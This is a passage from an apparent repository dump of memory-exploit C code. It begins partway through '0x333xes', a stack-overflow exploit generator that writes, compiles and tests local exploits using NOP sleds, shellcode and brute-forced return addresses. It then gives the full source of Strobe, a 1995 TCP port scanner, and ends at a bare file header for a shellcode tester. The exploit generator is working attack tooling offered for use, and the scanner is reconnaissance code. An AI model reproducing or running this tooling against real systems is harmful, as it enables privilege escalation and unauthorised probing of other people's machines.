+      fprintf (stderr, " [~] ret address NOT found ..\n [~] we suppose :\n\n"
+                       "    [*] wrong buffer align\n [~] try to solve this problem ...\n");
+
+   return (0x333);
+}
+
+
+int
+main (int argc, char * argv[])
+{
+   int c, s=0, len=0, out=MAX_EVIL, step=0, align=0, hard=0;
+   char exe[100], *bin=NULL, *w=NULL, *env=NULL;
+   unsigned long ret_add;
+   FILE * fd;
+
+   while(( c = getopt (argc, argv, "xhb:e:w:s:l:o:a:")) != EOF)
+   {
+      switch(c)
+      {
+         case 'b' : bin = optarg; break;
+
+         case 'e' :
+            env = optarg;
+            off=1;
+            break;
+
+         case 'w' : w = optarg; break;
+
+         case 's' : /* shellcode types */
+            s = atoi(optarg);
+            if ((s<0) || (s>MAX-1))
+               usage (argv[0]);
+            break;
+
+         case 'x' : shak_list();
+
+         case 'l' :
+            len = atoi(optarg);
+            if (len>MAX_LENGHT)
+               fatal (" [-] explotable-buffer is too long\n");
+            break;
+
+         case 'o' :
+            out = atoi(optarg); 
+            if (out>MAX_EVIL)
+               fatal (" [-] ret-buffer too long\n");
+            break;
+
+         case 'a' : align = atoi(optarg); break;
+         case 'h' : usage(argv[0]);
+         default  : usage(argv[0]);
+      }
+   }
+
+   if ((!bin) || (!len) || ((env) && (w)))
+      usage(argv[0]);
+
+   fprintf (stdout, "\n [~] 0x333xes => stack flow exploit generator [~]\n");
+   fprintf (stdout, " [~]      coded by c0wboy ~ www.0x333.org     [~] \n\n");
+   fprintf (stdout, " [*] creating source code ...\n");
+
+
+ do_sploit :   /* when ret is found, we re-write the exploit */
+
+   system ("rm -rf xes");
+   
+   if((fd = fopen (EXPLOIT, "w")) == NULL)
+      fatal (" [-] Error in creating %s\n", EXPLOIT);
+
+   fprintf (fd, "/*  Generated with 0x333xes ~ coded by c0wboy\n *");
+   fprintf (fd, "\n *  ~ www.0x333.org ~\n *\n */ ");
+
+   /* setting header */
+   fprintf (fd, "\n#include <stdio.h>\n#include <stdlib.h>\n#include <unistd.h>\n");
+   fprintf (fd, "#include <string.h>\n\n#define BIN\t\"%s\"\n#define NOP\t0x90\n", bin);
+   fprintf (fd, "#define BUFFER\t%i\n", len);
+
+   if (!env)
+      fprintf (fd, "#define OUTSIDE\t%i\n", out);
+
+   if (hard)
+      align = 1;
+
+   if (!align)
+      fprintf (fd, "#define ALIGN\t0\n");
+   else
+      fprintf (fd, "#define ALIGN\t%d\n", align);
+
+   if (step)
+      fprintf (fd, "#define RET\t0x%x\n", ret_add);
+
+   /* setting shellcode */
+   if (step)
+      fprintf (fd, "\n\n%s\n", shark[s].sh_type);
+   else
+      fprintf (fd, "\n\n%s\n", shark[0].sh_type); /* test-shellcode */
+
+   /* setting main() */
+   if (step)
+      fprintf (fd, "int\nmain ()\n");
+   else
+      fprintf (fd, "int\nmain (int argc, char * argv[])\n");
+
+   if (env)
+      fprintf (fd, "{\n   int x;\n   char buf[BUFFER], *bufz;\n");
+   else
+      fprintf (fd, "{\n   int x;\n   char buf[BUFFER], out[OUTSIDE], *bufz;\n");
+
+   if (step)
+      fprintf (fd, "   unsigned long ret_add = RET, *add_ptr ;\n\n");
+   else
+      fprintf (fd, "   unsigned long ret_add, *add_ptr ;\n\n"
+                   "   if (argc != 2)\n      exit (-333);\n\n"
+                   "   ret_add = strtoul (argv[1], &argv[1], 16);\n\n");
+
+   fprintf (fd, "   bufz = buf + ALIGN;\n   add_ptr = (long *)bufz;\n\n"
+                "   for (x=0; x<BUFFER-1; x+=4)\n"
+                "      *(add_ptr++)=ret_add;\n\n");
+
+   if (env)
+   {
+      if (step)
+      {
+         fprintf (fd, "   /* nop + shellcode */\n   memset ((char *)buf, NOP, 333 + "
+                      "strlen (sharkode));\n   memcpy ((char *)buf+333, sharkode, "
+                      "strlen (sharkode));\n\n");
+      }
+      else
+      {
+         fprintf (fd, "   /* nop + shellcode */\n   memset ((char *)buf, NOP, 333 + "
+                      "strlen (test));\n   memcpy ((char *)buf+333, test, strlen "
+                      "(test));\n\n");
+      }
+   }
+   else /* standard exploiting */
+   {
+      fprintf (fd, "   /* nop + shellcode */\n   memset ((char *)out, NOP, OUTSIDE);\n");
+
+      if (step)
+         fprintf (fd, "   memcpy ((char *)out + 333, sharkode, strlen(sharkode));\n\n");
+      else 
+         fprintf (fd, "   memcpy ((char *)out + 333, test, strlen(test));\n\n");
+
+      fprintf (fd, "   memcpy((char *)out, \"OUT=\", 4);\n   putenv(out);\n\n");
+   }
+
+   /* environment bugged ? */
+   if (env)
+   {
+      if(step)
+         fprintf (fd, "\n");
+      
+      fprintf (fd, "   setenv (\"%s\", buf, 333);\n", env);
+   }
+
+   if (step)
+      fprintf (fd, "\n   fprintf (stdout, \" Local exploit for %s\");\n", bin);
+   
+   /* switch ? */
+   if (w)
+      fprintf (fd, "   execl (BIN, BIN, \"%s\", buf, NULL);\n", w);
+   else
+   {
+      if (env)
+         fprintf (fd, "   execl (BIN, BIN, NULL);\n");
+      else
+         fprintf (fd, "   execl (BIN, BIN, buf, NULL);\n");
+   }
+
+   fprintf (fd, "\n   return 0;\n}\n\n");
+   fclose (fd);
+
+   /* compile & test exploit */
+   if (!step)
+   {
+      sprintf (exe, "gcc %s -o exploit", EXPLOIT);
+      system (exe);
+  
+      fprintf (stdout, " [*] exploit created\n");
+      fprintf (stdout, " [*] now find correct ret add\n");
+
+      if (( ret_add = xes (hard) ) == 0x333)
+      {
+         if (hard)
+         {
+            fprintf (fd, " [-] exploit doesn't work ...\n"
+                         "    [**] maybe binary has not -stack- overflow problem [**]\n"
+                         " [-] other problems can be detected by reading source code ...\n"
+                         " [-] sorry\n");
+           exit (-333);
+         }
+         else
+            hard=1;
+
+         goto do_sploit;
+      }
+      else
+      {
+         step=1;
+         goto do_sploit;
+      }
+   }
+
+   system ("rm -rf exploit xes");
+   fprintf (stdout, "\n [*] your working exploit for %s is ready !\n\n", bin);
+   return 0;
+}
+
+

Vulnerabilities_and_Exploits/Memory_Exploits/C-codes/strobe.c

@@ -0,0 +1,991 @@
+/*
+ * Strobe (c) 1995 Julian Assange (proff@suburbia.net),
+ * All rights reserved.
+ * Port Scanner
+ * $ cc strobe.c -o strobe
+ */
+
+#define VERSION "1.03"
+
+#include <stdio.h>
+#include <unistd.h>
+#include <stdlib.h>
+#include <sys/types.h>
+#include <sys/time.h>
+#include <ctype.h>
+#include <fcntl.h>
+#include <sys/stat.h>
+#include <sys/socket.h>
+#ifdef _AIX
+#  include <sys/select.h>
+#endif
+#include <netinet/in.h>
+#include <arpa/inet.h>
+#include <netdb.h>
+#include <string.h>
+#include <errno.h>
+
+#if defined(solaris) || defined(linux) || defined(__FreeBSD__) || defined(__NetBSD__) || defined(__GCC__)
+#  define fvoid void
+#else
+#  define fvoid
+extern int optind;
+extern char *optarg;
+#endif
+#define bool char
+
+#ifndef INADDR_NONE
+#  define INADDR_NONE ((unsigned long)-1)
+#endif
+
+#define port_t (unsigned short)
+
+/*
+ * the below should be set via the Makefile, but if not...
+ */
+
+#ifndef ETC_SERVICES
+#  define ETC_SERVICES "/etc/services"
+#endif
+#ifndef STROBE_SERVICES
+#  define STROBE_SERVICES "strobe.services"
+#endif
+#ifndef LIB_STROBE_SERVICES
+#  define LIB_STROBE_SERVICES "/usr/local/lib/strobe.services"
+#endif
+
+int a_timeout = 20;
+char *a_output = NULL;
+char *a_services = "strobe.services";
+char *a_input = NULL;
+/* char *a_prescan = NULL; */
+int a_start = 1;
+int a_end = 65535;
+int a_sock_max = 64;
+int a_abort = 0;
+int a_bindport = 0;
+char *a_bindaddr= NULL;
+struct in_addr bindaddr;
+bool f_linear = 0;
+bool f_verbose = 0;
+bool f_verbose_stats = 0;
+bool f_fast = 0;
+bool f_stats = 0;
+bool f_quiet = 0;
+bool f_delete_dupes = 0;
+bool f_minimise = 0;
+bool f_dontgetpeername = 0;
+
+int connects = 0;
+int hosts_done = 0;
+int attempts_done = 0;
+int attempts_outstanding = 0;
+struct timeval time_start;
+
+fd_set set_sel;
+fd_set set_sel_r;
+fd_set set_sel_w;
+
+int host_n;
+int Argc;
+char **Argv;
+
+FILE *fh_input;
+
+#define HO_ACTIVE 1
+#define HO_ABORT 2
+#define HO_COMPLETING 4
+
+struct hosts_s
+{
+    char *name;
+    struct in_addr in_addr;
+    int port;
+    int portlist_ent;
+    struct timeval time_used;
+    struct timeval time_start;
+    int attempts;
+    int attempts_done;
+    int attempts_highest_done;
+    int connects;
+    time_t notice_abort;
+    int status;
+};
+struct hosts_s ho_initial;
+struct hosts_s *hosts;
+
+#define HT_SOCKET 1
+#define HT_CONNECTING 2
+
+struct htuple_s
+{
+    char *name;
+    struct in_addr in_addr;
+    int port;
+    int sfd;
+    int status;
+    struct timeval sock_start;
+    int timeout;
+    struct hosts_s *host;
+};
+
+struct htuple_s ht_initial;
+struct htuple_s *attempt;
+
+struct port_desc_s
+{
+    int port;
+    char *name;
+    char *portname;
+    struct port_desc_s *next;
+    struct port_desc_s *next_port;
+};
+
+struct port_desc_s **port_descs;
+
+int *portlist = NULL;
+int portlist_n = 0;
+
+char *
+Srealloc (ptr, len)
+  char *ptr;
+  int len;
+{
+    char *p;
+    int retries = 10;
+    while (!(p = ptr? realloc (ptr, len): malloc(len)))
+    {
+        if (!--retries)
+        {
+		perror("malloc");
+		exit(1);
+	}
+	if (!f_quiet)
+	   fprintf(stderr, "Smalloc: couldn't allocate %d bytes...sleeping\n", len);
+	sleep (2);
+    }
+    return p;
+}
+
+char *
+Smalloc (len)
+  int len;
+{
+   return Srealloc (NULL, len);
+}
+
+fvoid
+sock_block (sfd)
+  int sfd;
+{
+    int flags;
+    flags = (~O_NONBLOCK) & fcntl (sfd, F_GETFL);
+    fcntl (sfd, F_SETFL, flags);
+}
+
+fvoid
+sock_unblock (sfd)
+  int sfd;
+{
+    int flags;
+    flags = O_NONBLOCK | fcntl (sfd, F_GETFL);
+    fcntl (sfd, F_SETFL, flags);
+}
+
+int
+timeval_subtract (result, x, y) /* from gnu c-lib info.texi */
+  struct timeval *result, *x, *y;
+{
+/* Perform the carry for the later subtraction by updating y. */
+if (x->tv_usec < y->tv_usec) {
+ int nsec = (y->tv_usec - x->tv_usec) / 1000000 + 1;
+ y->tv_usec -= 1000000 * nsec;
+ y->tv_sec += nsec;
+}
+if (x->tv_usec - y->tv_usec > 1000000) {
+ int nsec = (y->tv_usec - x->tv_usec) / 1000000;
+ y->tv_usec += 1000000 * nsec;
+ y->tv_sec -= nsec;
+}
+
+/* Compute the time remaining to wait.
+  `tv_usec' is certainly positive. */
+result->tv_sec = x->tv_sec - y->tv_sec;
+result->tv_usec = x->tv_usec - y->tv_usec;
+
+/* Return 1 if result is negative. */
+return x->tv_sec < y->tv_sec;
+}
+
+fvoid
+attempt_clear (h)
+  struct htuple_s *h;
+{
+    if (h->status & HT_SOCKET)
+    {
+	struct timeval tv1, tv2;
+	gettimeofday(&tv1, NULL);
+	timeval_subtract(&tv2, &tv1, &(h->sock_start));
+	h->host->time_used.tv_sec+=tv2.tv_sec;
+	if ((h->host->time_used.tv_usec+=tv2.tv_usec) >= 1000000)
+	{
+	    h->host->time_used.tv_usec -= 1000000;
+	    h->host->time_used.tv_sec++;
+	}
+        attempts_done++;
+	h->host->attempts_done++;
+	if (h->port > h->host->attempts_highest_done)
+	    h->host->attempts_highest_done=h->port;
+	sock_unblock (h->sfd);
+/*	shutdown (h->sfd, 2); */
+	close (h->sfd);
+        if (FD_ISSET(h->sfd, &set_sel))
+	{
+	     FD_CLR (h->sfd, &set_sel);
+	     attempts_outstanding--;
+	}
+    }
+    *h = ht_initial;
+}
+
+fvoid
+clear_all ()
+{
+    int n;
+    for (n = 0; n < a_sock_max; n++)
+	attempt_clear (&attempt[n]);
+}
+
+fvoid
+attempt_init ()
+{
+    int n;
+    for (n = 0; n < a_sock_max; n++)
+	attempt[n] = ht_initial;
+}
+
+fvoid
+hosts_init ()
+{
+    int n;
+    for (n = 0; n < a_sock_max; n++)
+	hosts[n] = ho_initial;
+}
+
+fvoid
+fdsets_init ()
+{
+    FD_ZERO(&set_sel_r); /* yes, we have to do this, despite the later */
+    FD_ZERO(&set_sel_w); /* assisgnments */
+    FD_ZERO(&set_sel);
+}
+
+int
+sc_connect (h)
+  struct htuple_s *h;
+{
+    struct sockaddr_in sa_in;
+    int sopts1 = 1;
+    struct linger slinger;
+    if ((h->sfd = socket (PF_INET, SOCK_STREAM, 0)) == -1)
+	return 0;
+    memset(&sa_in, 0, sizeof(sa_in));
+    h->status |= HT_SOCKET;
+    gettimeofday(&(h->sock_start), NULL);
+    sock_unblock (h->sfd);
+    setsockopt (h->sfd, SOL_SOCKET, SO_REUSEADDR, (char *) &sopts1, sizeof (sopts1));
+    setsockopt (h->sfd, SOL_SOCKET, SO_OOBINLINE, (char *) &sopts1, sizeof (sopts1));
+    slinger.l_onoff = 0;	/* off */
+    setsockopt (h->sfd, SOL_SOCKET, SO_LINGER, (char *) &slinger, sizeof (slinger));
+    sa_in.sin_family = AF_INET;
+    if (a_bindport)
+        sa_in.sin_port = a_bindport;
+    if (a_bindaddr)
+        sa_in.sin_addr = bindaddr;
+    if (a_bindaddr || a_bindport)
+        if (bind (h->sfd, (struct sockaddr *)&sa_in, sizeof(sa_in)) == -1)
+        {
+		fprintf(stderr, "couldn't bind %s : %d  ", a_bindaddr? a_bindaddr: "0.0.0.0", ntohs(a_bindport));
+		perror("");
+		if (errno == EACCES)
+			exit(1);
+		return 0;
+	}
+    sa_in.sin_addr = h->in_addr;
+    sa_in.sin_port = htons (h->port);
+
+    if (connect (h->sfd, (struct sockaddr *) &sa_in, sizeof (sa_in)) == -1)
+    {
+	switch (errno)
+	{
+	case EINPROGRESS:
+	case EWOULDBLOCK:
+	    break;
+	case ETIMEDOUT:
+	case ECONNREFUSED:
+	case EADDRNOTAVAIL:
+	    if (f_verbose)
+	    {
+		fprintf(stderr, "%s:%d ", h->name, h->port);
+		perror("");
+	    }
+	    h->host->attempts++;
+	    attempt_clear (h);
+	    return 1;
+	default:
+	    if (!f_quiet)
+	    {
+	    	fprintf(stderr, "%s:%d ", h->name, h->port);
+	    	perror ("");
+	    }
+	    attempt_clear (h);
+	    return 0;
+	}
+    }
+    h->host->attempts++;
+    h->status |= HT_CONNECTING;
+    sock_block (h->sfd);
+    FD_SET(h->sfd, &set_sel);
+    attempts_outstanding++;
+    return 1;
+}
+
+int
+gatherer_tcp (h)
+  struct htuple_s *h;
+{
+    struct port_desc_s *pd;
+    if (f_minimise)
+	printf ("%s\t%d\n", h->name, h->port);
+    else
+    {
+    	if ((pd = port_descs[h->port]))
+        {
+    	    	printf ("%-30s %-16s %5d/tcp %s\n", h->name, pd->portname, h->port, pd->name);
+	    while (!f_delete_dupes && !f_minimise && (pd=pd->next))
+	        printf ("#%-29s %-16s %5d/tcp %s\n", h->name, pd->portname, h->port, pd->name);
+    	}
+    	else
+	    printf ("%-30s %-16s %5d/tcp unassigned\n", h->name, "unknown", h->port);
+    }
+    h->host->connects++;
+    connects++;
+    attempt_clear (h);
+    return 1;
+}
+
+bool
+gather ()
+{
+    struct timeval timeout;
+    struct htuple_s *h;
+    int n;
+    int selected;
+    time_t tim;
+
+    if (!attempts_outstanding) return 1;
+    set_sel_r=set_sel_w=set_sel;
+    timeout.tv_sec = 0;
+    timeout.tv_usec = 250000; /* 1/4 of a second */
+
+    selected = select (FD_SETSIZE, &set_sel_r, &set_sel_w, 0, &timeout);
+    /* Look for timeouts */
+
+    tim = time (NULL);
+    for ( n = 0 ; n < a_sock_max; n++ )
+    {
+      h = &attempt[n];
+      if ((h->status & HT_SOCKET) &&
+	  ((h->sock_start.tv_sec + h->timeout) < tim))
+ 	attempt_clear (h);
+    }
+
+    switch (selected)
+    {
+    case -1:
+	perror ("select");
+	return 0;
+    case 0:
+	return 1;
+    }
+    for (n = 0; selected && (n < a_sock_max); n++)
+    {
+	h = &attempt[n];
+	if (h->status & HT_CONNECTING)
+	{
+	    if (FD_ISSET (h->sfd, &set_sel_r) || FD_ISSET (h->sfd, &set_sel_w))
+	    {
+		struct sockaddr_in in;
+		int len = sizeof (in);
+		selected--;
+		/* select() lies occasionaly
+                 */
+		if (!f_dontgetpeername) /* but solaris2.3 crashes occasionally ;-| */
+		{
+			if (getpeername (h->sfd, (struct sockaddr *) &in, &len) == 0)
+		    	    gatherer_tcp (h);
+			else
+		    	    attempt_clear (h);
+		}
+		else
+		    	gatherer_tcp (h);
+	    }
+	}
+    }
+    return 1;
+}
+
+bool
+add_attempt (add)
+  struct htuple_s *add;
+{
+    struct htuple_s *h;
+    static time_t oldtime;
+    static int n;
+    for (;;)
+    {
+	for (; n < a_sock_max; n++)
+	{
+	    h = &attempt[n];
+	    if (!h->status)
+		goto foundfree;
+	}
+	n = 0;
+	gather ();
+	continue;
+      foundfree:
+	*h = *add;
+	if (!sc_connect (h))
+	{
+	    gather ();
+	    continue;
+	}
+	if ((oldtime + 1) < time (NULL))
+	{
+	    oldtime = time (NULL);
+	    gather ();
+	}
+	break;
+    }
+    return 1;
+}
+
+int
+scatter (host, timeout)
+  struct hosts_s *host;
+  int timeout;
+{
+    static struct htuple_s add;
+    add = ht_initial;
+    add.host = host;
+    add.name = host->name;
+    add.in_addr = host->in_addr;
+    add.port = host->port;
+    add.timeout = timeout;
+    if (f_verbose)
+	fprintf (stderr, "attempting port=%d host=%s\n", add.port, add.name);
+    add_attempt (&add);
+    return 1;
+}
+
+fvoid
+wait_end (t)
+  int t;
+{
+    time_t st;
+    st = time (NULL);
+    while ((st + t) > time (NULL))
+    {
+	gather ();
+	if (attempts_outstanding<1) break;
+    }
+}
+
+struct in_addr
+resolve (name)
+  char *name;
+{
+    static struct in_addr in;
+    unsigned long l;
+    struct hostent *ent;
+    if ((l = inet_addr (name)) != INADDR_NONE)
+    {
+	in.s_addr = l;
+	return in;
+    }
+    if (!(ent = gethostbyname (name)))
+    {
+	perror (name);
+	in.s_addr = INADDR_NONE;
+	return in;
+    }
+    return *(struct in_addr *) ent->h_addr;
+}
+
+char *
+next_host ()
+{
+    static char lbuf[512];
+    hosts_done++;
+    if (a_input)
+    {
+	int n;
+reread:
+	if (!fgets (lbuf, sizeof (lbuf), fh_input))
+	{
+	    fclose (fh_input);
+            a_input = NULL;
+	    return next_host();
+	}
+	if (strchr("# \t\n\r", lbuf[0])) goto reread;
+	n = strcspn (lbuf, " \t\n\r");
+	if (n)
+	    lbuf[n] = '\0';
+	return lbuf;
+    }
+    if ( host_n >= Argc )
+      return NULL;
+
+    return Argv[host_n++];
+}
+
+bool
+host_init (h, name, nocheck)
+  struct hosts_s *h;
+  char *name;
+  bool nocheck;
+{
+    int n;
+    *h=ho_initial;
+    h->in_addr = resolve (name);
+    if (h->in_addr.s_addr == INADDR_NONE)
+	return 0;
+    if (!nocheck)
+        for (n=0; n<a_sock_max; n++)
+   	{ 
+	    if (hosts[n].name && hosts[n].in_addr.s_addr==h->in_addr.s_addr)
+	    {
+		if (!f_quiet)
+		    fprintf(stderr, "ip duplication: %s == %s (last host ignored)\n",
+		        hosts[n].name, name);
+		return 0;
+	    }
+        }
+    h->name = (char *) Smalloc (strlen (name) + 1);
+    strcpy (h->name, name);
+    h->port = a_start;
+    h->status = HO_ACTIVE;
+    gettimeofday(&(h->time_start), NULL);
+    return 1;
+}
+
+fvoid
+host_clear (h)
+  struct hosts_s *h;
+{
+    if (h->name)
+    {
+    	free (h->name);
+    }
+    *h=ho_initial;
+}
+
+fvoid
+host_stats (h)
+  struct hosts_s *h;
+{
+    struct timeval tv, tv2;
+    float t, st;
+    gettimeofday(&tv, NULL);
+    timeval_subtract(&tv2, &tv, &(h->time_start));
+    t = tv2.tv_sec+(float)tv2.tv_usec/1000000.0;
+    st = h->time_used.tv_sec+(float)h->time_used.tv_usec/1000000.0;
+    fprintf(stderr, "stats: host = %s trys = %d cons = %d time = %.2fs trys/s = %.2f trys/ss = %.2f\n",
+	h->name, h->attempts_done, h->connects, t, h->attempts_done/t, h->attempts_done/st);
+}
+
+fvoid
+final_stats()
+{
+    struct timeval tv, tv2;
+    float t;
+    gettimeofday(&tv, NULL);
+    timeval_subtract(&tv2, &tv, &(time_start));
+    t = tv2.tv_sec+(float)tv2.tv_usec/1000000.0;
+    fprintf(stderr, "stats: hosts = %d trys = %d cons = %d time = %.2fs trys/s = %.2f\n",
+	hosts_done, attempts_done, connects, t, attempts_done/t);
+}
+
+bool skip_host(h)
+  struct hosts_s *h;
+{
+    if (a_abort && !h->connects && (h->attempts_highest_done >= a_abort)) /* async pain */
+    {
+	if (h->status & HO_ABORT)
+	{
+	    if ((time(NULL)-h->notice_abort)>a_timeout)
+	    {
+		if (f_verbose)
+		    fprintf(stderr, "skipping: %s (no connects in %d attempts)\n",
+			h->name, h->attempts_done);
+		return 1;
+	    }
+	} else 
+        {
+		h->notice_abort=time(NULL);
+		h->status|=HO_ABORT;
+	}
+    }
+    return 0;
+}
+
+int
+next_port (h)
+struct hosts_s *h;
+{
+    int n;
+    for (n = h->port; ++n <= a_end;)
+    {
+    	if (!f_fast) return n;
+	if (++h->portlist_ent>portlist_n) return -1;
+        return (portlist[h->portlist_ent-1]);
+    }
+    return -1;
+}
+
+fvoid
+scan_ports_linear ()
+{
+    struct hosts_s host;
+    char *name;
+    while ((name = next_host ()))
+    {
+	if (!host_init(&host, name, 1)) continue;
+	for (;;)
+	{
+	    scatter (&host, a_timeout);
+	    if (skip_host(&host)) break;
+	    if ((host.port = next_port(&host))==-1)
+		break;
+	}
+	wait_end (a_timeout);
+	if (f_verbose_stats)
+	    host_stats (&host);
+	clear_all ();
+	host_clear(&host);
+    }
+}
+
+/* Huristics:
+ *  o  fast connections have priority == maximise bandwidth i.e 
+ *     a port in the hand is worth two in the bush
+ *
+ *  o  newer hosts have priority == lower ports checked more quickly
+ *
+ *  o  all hosts eventually get equal "socket time" == despite
+ *     priorities let no one host hog the sockets permanently
+ *
+ *  o  when host usage times are equal (typically on or shortly after
+ *     initial startup) distribute hosts<->sockets evenly rather than
+ *     play a game of chaotic bifurcatic ping-pong
+ */
+          
+fvoid
+scan_ports_paralell ()
+{
+    int n;
+    struct timeval smallest_val;
+    int smallest_cnt;
+    char *name;
+    struct hosts_s *h, *smallest = &hosts[0];
+    while (smallest)
+    {
+	smallest_val.tv_sec=0xfffffff;
+	smallest_val.tv_usec=0;
+	for (n = 0, smallest_cnt = 0xfffffff, smallest = NULL; n < a_sock_max; n++)
+	{
+	    h = &hosts[n];
+
+	    if (((h->status & HO_COMPLETING) &&
+                 (h->attempts_done == h->attempts)) ||
+                skip_host(h))
+	    {
+		if (f_verbose_stats) host_stats (h);
+		host_clear (h);
+	    }
+
+	    if (!h->name && ((name = next_host ())))
+		if (!host_init (h, name, 0))
+		{
+		    host_clear (h);
+		    continue;
+		}
+
+	    if (h->name)
+	    {
+		if (((h->time_used.tv_sec < smallest_val.tv_sec) ||
+		     ((h->time_used.tv_sec == smallest_val.tv_sec) &&
+		      (h->time_used.tv_usec <= smallest_val.tv_usec))) &&
+		    (((h->time_used.tv_sec != smallest_val.tv_sec) &&
+		      (h->time_used.tv_usec != smallest_val.tv_usec)) ||
+		     (h->attempts < smallest_cnt)))
+	        {
+	  	    smallest_cnt = h->attempts;
+		    smallest_val = h->time_used;
+		    smallest = h;
+		 }
+	    }
+	}
+
+	if (smallest)
+	{
+	    if (!(smallest->status & HO_COMPLETING))
+	    {
+		scatter (smallest, a_timeout);
+		if ((smallest->port=next_port(smallest))==-1)
+	            smallest->status|=HO_COMPLETING;
+	    }
+	    else
+		gather();
+	}
+    }
+}
+
+fvoid
+loaddescs ()
+{
+    FILE *fh;
+    char lbuf[1024];
+    char desc[256];
+    char portname[17];
+    unsigned int port;
+    char *fn;
+    char prot[4];
+    prot[3]='\0';
+    if (!(fh = fopen ((fn=a_services), "r")) &&
+        !(fh = fopen ((fn=LIB_STROBE_SERVICES), "r")) &&
+        !(fh = fopen ((fn=ETC_SERVICES), "r")))
+    {
+	perror (fn);
+	exit (1);
+    }
+    port_descs=(struct port_desc_s **) Smalloc(sizeof(struct port_descs_s *) * 65536);
+    memset(port_descs, 0, 65536);
+    while (fgets (lbuf, sizeof (lbuf), fh))
+    {
+	char *p;
+	struct port_desc_s *pd, *pdp;
+	if (strchr("*# \t\n", lbuf[0])) continue;
+	if (!(p = strchr (lbuf, '/'))) continue;
+	*p = ' ';
+	desc[0]='\0';
+	if (sscanf (lbuf, "%16s %u %3s %255[^\r\n]", portname, &port, prot, desc) <3 || strcmp (prot, "tcp") || (port > 65535))
+	    continue;
+	pd = port_descs[port];
+	if (!pd)
+	{
+	    portlist = (int *)Srealloc((char *)portlist, ++portlist_n*sizeof(int));
+	    portlist[portlist_n-1]=port;
+	}
+	if (!f_minimise)
+	{
+	    pdp = (struct port_desc_s *) Smalloc (sizeof (*pd) + strlen (desc) + 1 + strlen (portname) + 1);
+	    if (pd)
+	    {
+	        for (; pd->next; pd = pd->next);
+	        pd->next = pdp;
+	        pd = pd->next;
+	    } else 
+	    {
+	        pd = pdp;
+	        port_descs[port] = pd;
+	    } 
+	    pd->next = NULL;
+	    pd->name = (char *) (pd) + sizeof (*pd);
+	    pd->portname = pd->name + strlen(desc)+1;
+	    strcpy (pd->name, desc);
+	    strcpy (pd->portname, portname);
+	} else
+	    port_descs[port] = (struct port_desc_s *)-1;
+    }
+    if (f_minimise) 
+        free (port_descs);
+}
+
+fvoid
+usage ()
+{
+    fprintf (stderr, "\
+usage: %8s [options]\n\
+\t\t[-v(erbose)]\n\
+\t\t[-V(erbose_stats]\n\
+\t\t[-m(inimise)]\n\
+\t\t[-d(elete_dupes)]\n\
+\t\t[-g(etpeername_disable)]\n\
+\t\t[-s(tatistics)]\n\
+\t\t[-q(uiet)]\n\
+\t\t[-o output_file]\n\
+\t\t[-b begin_port_n]\n\
+\t\t[-e end_port_n]\n\
+\t\t[-p single_port_n]\n\
+\t\t[-P bind_port_n]\n\
+\t\t[-A bind_addr_n]\n\
+\t\t[-t timeout_n]\n\
+\t\t[-n num_sockets_n]\n\
+\t\t[-S services_file]\n\
+\t\t[-i hosts_input_file]\n\
+\t\t[-l(inear)]\n\
+\t\t[-f(ast)]\n\
+\t\t[-a abort_after_port_n]\n\
+\t\t[-M(ail_author)]\n\
+\t\t[host1 [...host_n]]\n", Argv[0]);
+    exit (1);
+}
+int
+main (argc, argv)
+  int argc;
+  char **argv;
+{
+    int c;
+    Argc = argc;
+    Argv = argv;
+
+    while ((c = getopt (argc, argv, "o:dvVmgb:e:p:P:a:A:t:n:S:i:lfsqM")) != -1)
+	switch (c)
+	{
+	case 'o':
+	    a_output = optarg;
+	    break;
+	case 'd':
+	    f_delete_dupes=1;
+	    break;
+	case 'v':
+	    f_verbose = 1;
+	    break;
+	case 'V':
+	    f_verbose_stats = 1;
+	    break;
+	case 'm':
+	    f_minimise = 1;
+	    break;
+	case 'g':
+	    f_dontgetpeername = 1;
+	    break;
+	case 'b':
+	    a_start = atoi (optarg);
+	    break;
+	case 'e':
+	    a_end = atoi (optarg);
+	    break;
+	case 'P':
+	    a_bindport = htons (atoi (optarg));
+	    break;
+	case 'A':
+	    a_bindaddr = optarg;
+	    bindaddr = resolve (a_bindaddr);
+	    if (bindaddr.s_addr == INADDR_NONE)
+	    {
+	    	perror(a_bindaddr);
+		exit(1);
+	    }
+            break;
+	case 'p':
+	    a_start = a_end = atoi (optarg);
+	    break;
+	case 'a':
+	    a_abort = atoi (optarg);
+	    break;
+	case 't':
+	    a_timeout = atoi (optarg);
+	    break;
+	case 'n':
+	    a_sock_max = atoi (optarg);
+	    break;
+	case 'S':
+	    a_services = optarg;
+	    break;
+	case 'i':
+	    a_input = optarg;
+	    break;
+	case 'l':
+	    f_linear = 1;
+	    break;
+	case 'f':
+	    f_fast = 1;
+	    break;
+	case 's':
+	    f_stats = 1;
+	    break;
+        case 'q':
+	    f_quiet = 1;
+	    break;
+	case 'M':
+	    fprintf(stderr, "Enter mail to author below. End with ^D or .\n");
+	    system("mail strobe@suburbia.net");
+	    break;
+	case '?':
+	default:
+	    fprintf (stderr, "unknown option %s\n", argv[optind-1]);
+	    usage ();
+	    /* NOT_REACHED */
+	}
+    host_n = optind;
+
+    if (!f_quiet)
+        fprintf (stderr, "strobe %s (c) 1995 Julian Assange (proff@suburbia.net).\n", VERSION);
+    if (a_input)
+    {
+        if ( ! strcmp("-",a_input) ) { /* Use stdin as input file */
+	    fh_input = stdin;
+	  }
+	else {
+	  if (!(fh_input = fopen (a_input, "r")))
+	    {
+	      perror (a_input);
+	      exit (1);
+	    }
+	}
+    } else
+    {
+      switch ( argc - host_n ) { /* Number of hosts found on command line */
+      case 0:
+	fh_input = stdin;
+	a_input = "stdin"; /* Needed in "next_host()" */
+	break;
+      case 1:
+	f_linear = 1;
+	break;
+      }
+    }
+
+    if ((fh_input==stdin) && !f_quiet)
+      fprintf (stderr, "Reading host names from stdin...\n");
+
+    if (a_output)
+    {
+        int fd;
+        if ((fd=open(a_output, O_WRONLY|O_CREAT|O_TRUNC, 0666))==-1)
+	{
+		perror(a_output);
+		exit(1);
+	}
+	dup2(fd, 1);
+    }
+    attempt = (struct htuple_s *) Smalloc (a_sock_max * sizeof (struct htuple_s));
+    attempt_init();
+    if (!f_linear)
+    {
+    	hosts = (struct hosts_s *) Smalloc (a_sock_max * sizeof (struct hosts_s));
+    	hosts_init();
+    }
+    if (!f_minimise || f_fast)
+    	loaddescs ();
+    fdsets_init();
+    gettimeofday(&time_start, NULL);
+    f_linear ? scan_ports_linear ():
+ 	       scan_ports_paralell ();
+    if (f_stats || f_verbose_stats)
+	final_stats();
+    exit (0);
+}
+

Vulnerabilities_and_Exploits/Memory_Exploits/C-codes/testing_shellcode.c

